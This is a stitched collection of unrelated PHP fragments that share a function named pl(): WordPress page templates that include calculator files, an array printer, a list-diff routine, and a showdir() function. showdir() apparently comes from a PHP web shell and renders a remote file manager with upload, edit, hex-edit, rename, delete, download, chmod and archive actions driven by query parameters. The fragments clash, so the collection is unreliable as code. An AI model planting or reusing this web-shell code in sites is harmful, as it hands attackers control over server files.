/** * prints an array in a human-readable format * * @param array * @return null * */ function pl_array($input) { if (!empty($input) && is_array($input)) { foreach ($input as $key => $value) { pl("[" . $key . "] => " . $value); } } }
function report() { ob_start(); //include the specified file include_once pl() . "assets/cal/report.php"; //assign the file output to $content variable and clean buffer $content = ob_get_clean(); //return the $content //return is important for the output to appear at the correct position //in the content return $content; }
get_header(); ?> <div class="container"> <main class="main col-lg-9 col-md-8 col-sm-12" role="main"> <div class="main-indent"> <?php the_content(); ?> <!-- BEGINING OF THE CALULATOR --> <?php //$plugindir = dirname( __FILE__ ); include_once pl() . "assets/cal/index.php"; //include_once("assets/cal/index.php"); ?> <!-- END OF THE CALCULATOR --> </div> </main> <?php get_sidebar(); ?> </div> <?php get_footer();
function showdir($s_cwd) { global $s_self, $s_win, $s_posix, $s_tar; $s_fname = $s_dname = array(); $s_total_file = $s_total_dir = 0; if ($s_dh = @opendir($s_cwd)) { while ($s_file = @readdir($s_dh)) { if (@is_dir($s_file)) { $s_dname[] = $s_file; } elseif (@is_file($s_file)) { $s_fname[] = $s_file; } } closedir($s_dh); } natcasesort($s_fname); natcasesort($s_dname); $s_list = array_merge($s_dname, $s_fname); if ($s_win) { //check if this root directory chdir(".."); if (cp(getcwd()) == cp($s_cwd)) { array_unshift($s_list, "."); } chdir($s_cwd); } $s_path = explode(DS, $s_cwd); $s_tree = sizeof($s_path); $s_parent = ""; if ($s_tree > 2) { for ($s_i = 0; $s_i < $s_tree - 2; $s_i++) { $s_parent .= $s_path[$s_i] . DS; } } else { $s_parent = $s_cwd; } $s_owner_html = !$s_win && $s_posix ? "<th style='width:140px;min-width:140px;'>owner:group</th>" : ""; $s_colspan = !$s_win && $s_posix ? "5" : "4"; $s_buff = "<table class='explore sortable'><thead><tr><th style='width:24px;min-width:24px;' class='sorttable_nosort'></th><th style='min-width:150px;'>name</th><th style='width:74px;min-width:74px;'>size</th>" . $s_owner_html . "<th style='width:80px;min-width:80px;'>perms</th><th style='width:150px;min-width:150px;'>modified</th><th style='width:200px;min-width:200px;' class='sorttable_nosort'>action</th></tr></thead><tbody>"; foreach ($s_list as $s_l) { if (!$s_win && $s_posix) { $s_name = posix_getpwuid(fileowner($s_l)); $s_group = posix_getgrgid(filegroup($s_l)); $s_owner = $s_name['name'] . "<span class='gaya'>:</span>" . $s_group['name']; $s_owner_html = "<td style='text-align:center;'>" . $s_owner . "</td>"; } $s_lhref = $s_lname = $s_laction = ""; if (@is_dir($s_l)) { if ($s_l == ".") { $s_lhref = $s_self . "cd=" . pl($s_cwd); $s_lsize = "LINK"; $s_laction = "<span id='titik1'><a href='" . $s_self . "cd=" . pl($s_cwd) . "&find=" . pl($s_cwd) . "'>find</a> | <a href='" . $s_self . "cd=" . pl($s_cwd) . "&x=upload" . "'>upl</a> | <a href='" . $s_self . "cd=" . pl($s_cwd) . "&edit=" . pl($s_cwd) . "newfile_1&new=yes" . "'>+file</a> | <a href=\"javascript:tukar('titik1','', 'mkdir','newfolder_1');\">+dir</a></span><div id='titik1_form'></div>"; } elseif ($s_l == "..") { $s_lhref = $s_self . "cd=" . pl($s_parent); $s_lsize = "LINK"; $s_laction = "<span id='titik2'><a href='" . $s_self . "cd=" . pl($s_parent) . "&find=" . pl($s_parent) . "'>find</a> | <a href='" . $s_self . "cd=" . pl($s_parent) . "&x=upload" . "'>upl</a> | <a href='" . $s_self . "cd=" . pl($s_parent) . "&edit=" . pl($s_parent) . "newfile_1&new=yes" . "'>+file</a> | <a href=\"javascript:tukar('titik2','" . adds($s_parent) . "', 'mkdir','newfolder_1');\">+dir</a></span><div id='titik2_form'></div>"; } else { $s_lhref = $s_self . "cd=" . pl($s_cwd . $s_l . DS); $s_lsize = "DIR"; $s_laction = "<span id='" . cs($s_l) . "_'><a href='" . $s_self . "cd=" . pl($s_cwd . $s_l . DS) . "&find=" . pl($s_cwd . $s_l . DS) . "'>find</a> | <a href='" . $s_self . "cd=" . pl($s_cwd . $s_l . DS) . "&x=upload" . "'>upl</a> | <a href=\"javascript:tukar('" . cs($s_l) . "_','','rename','" . adds($s_l) . "','" . adds($s_l) . "');\">ren</a> | <a href='" . $s_self . "cd=" . pl($s_cwd) . "&del=" . pl($s_l) . "'>del</a></span><div id='" . cs($s_l) . "__form'></div>"; $s_total_dir++; } $s_lname = "[ " . $s_l . " ]"; $s_lsizetit = "0"; $s_lnametit = "dir : " . $s_l; } else { $s_lhref = $s_self . "view=" . pl($s_cwd . $s_l); $s_lname = $s_l; $s_lsize = gs($s_l); $s_lsizetit = @filesize($s_l); $s_lnametit = "file : " . $s_l; $s_laction = "<span id='" . cs($s_l) . "_'><a href='" . $s_self . "edit=" . pl($s_cwd . $s_l) . "'>edit</a> | <a href='" . $s_self . "hexedit=" . pl($s_cwd . $s_l) . "'>hex</a> | <a href=\"javascript:tukar('" . cs($s_l) . "_','','rename','" . adds($s_l) . "','" . adds($s_l) . "');\">ren</a> | <a href='" . $s_self . "del=" . pl($s_cwd . $s_l) . "'>del</a> | <a href='" . $s_self . "dl=" . pl($s_cwd . $s_l) . "'>dl</a></span><div id='" . cs($s_l) . "__form'></div>"; $s_total_file++; } $s_cboxval = $s_cwd . $s_l; if ($s_l == '.') { $s_cboxval = $s_cwd; } if ($s_l == '..') { $s_cboxval = $s_parent; } $s_cboxes_id = substr(md5($s_lhref), 0, 8); $s_cboxes = "<input id='" . $s_cboxes_id . "' name='cbox' value='" . hss($s_cboxval) . "' type='checkbox' class='css-checkbox' onchange='hilite(this);' /><label for='" . $s_cboxes_id . "' class='css-label'></label>"; $s_ltime = filemtime($s_l); $s_buff .= "<tr><td style='text-align:center;text-indent:4px;'>" . $s_cboxes . "</td><td class='xpl' title='" . $s_lnametit . "' ondblclick=\"return go('" . adds($s_lhref) . "',event);\"><a href='" . $s_lhref . "'>" . $s_lname . "</a></td><td title='" . $s_lsizetit . "'>" . $s_lsize . "</td>" . $s_owner_html . "<td class='ce'>" . gp($s_l) . "</td><td class='ce' title='" . $s_ltime . "'>" . @date("d-M-Y H:i:s", $s_ltime) . "</td><td>" . $s_laction . "</td></tr>"; } $s_buff .= "</tbody>"; $s_extract = ""; $s_compress = ""; if (class_exists("ZipArchive")) { $s_extract .= "<option value='extractzip'>extract (zip)</option>"; $s_compress .= "<option value='compresszip'>compress (zip)</option>"; } if ($s_tar) { $s_extract .= "<option value='extracttar'>extract (tar)</option><option value='extracttargz'>extract (tar.gz)</option>"; $s_compress .= "<option value='compresstar'>compress (tar)</option><option value='compresstargz'>compress (tar.gz)</option>"; } $s_extcom = $s_extract != "" && $s_compress != "" ? $s_extract . "<option value='' disabled>-</option>" . $s_compress : $s_extract . $s_compress; $s_buff .= "<tfoot><tr class='cbox_selected'><td class='cbox_all'><input id='checkalll' type='checkbox' name='abox' class='css-checkbox' onclick='checkall();' /> <label for='checkalll' class='css-label'></label></td><td><form action='" . $s_self . "' method='post'><select id='massact' class='inputzbut' onchange='massactgo();' style='width:100%;height:20px;margin:0;'><option value='' disabled selected>Action</option><option value='cut'>cut</option><option value='copy'>copy</option><option value='paste'>paste</option><option value='delete'>delete</option><option value='' disabled>-</option><option value='chmod'>chmod</option><option value='touch'>touch</option><option value='' disabled>-</option>" . $s_extcom . "</select><noscript><input type='button' value='Go !' class='inputzbut' onclick='massactgo();' /></noscript></form></td><td colspan='" . $s_colspan . "' style='text-align:left;'>Total : " . $s_total_file . " files, " . $s_total_dir . " Directories<span id='total_selected'></span></td></tr></tfoot></table>"; return $s_buff; }
/* Template Name: report Page */ get_header(); ?> <div class="container"> <main class="main col-lg-9 col-md-8 col-sm-12" role="main"> <div class="main-indent"> <!-- BEGINING OF THE CALULATOR --> <?php include pl() . "assets/cal/report.php"; ?> <!-- END OF THE CALCULATOR --> </div> </main> <?php get_sidebar(); ?> </div>
/* Template Name: Save Page */ get_header(); ?> <div class="container"> <main class="main col-lg-9 col-md-8 col-sm-12" role="main"> <div class="main-indent"> <!-- BEGINING OF THE CALULATOR --> <?php include pl() . "assets/cal/save.php"; ?> <!-- END OF THE CALCULATOR --> </div> </main> <?php get_sidebar(); ?> </div>
for ($i = 0; $i < count($old_list); $i++) { if (!isUserInListId($old_list[$i], $common_list)) { $delete_list[] = $old_list[$i]; } } $add_list = []; for ($i = 0; $i < count($new_list); $i++) { if (!isUserInListId($new_list[$i], $common_list)) { $add_list[] = $new_list[$i]; } } echo 'add list:<br>'; pl($add_list); echo '<br>'; echo 'del list:<br>'; pl($delete_list); function pl($list) { for ($i = 0; $i < count($list); $i++) { echo $list[$i]; } } function isUserInListId($user_id, $list_id) { for ($i = 0; $i < count($list_id); $i++) { if ($list_id[$i] == $user_id) { return true; } } return false; }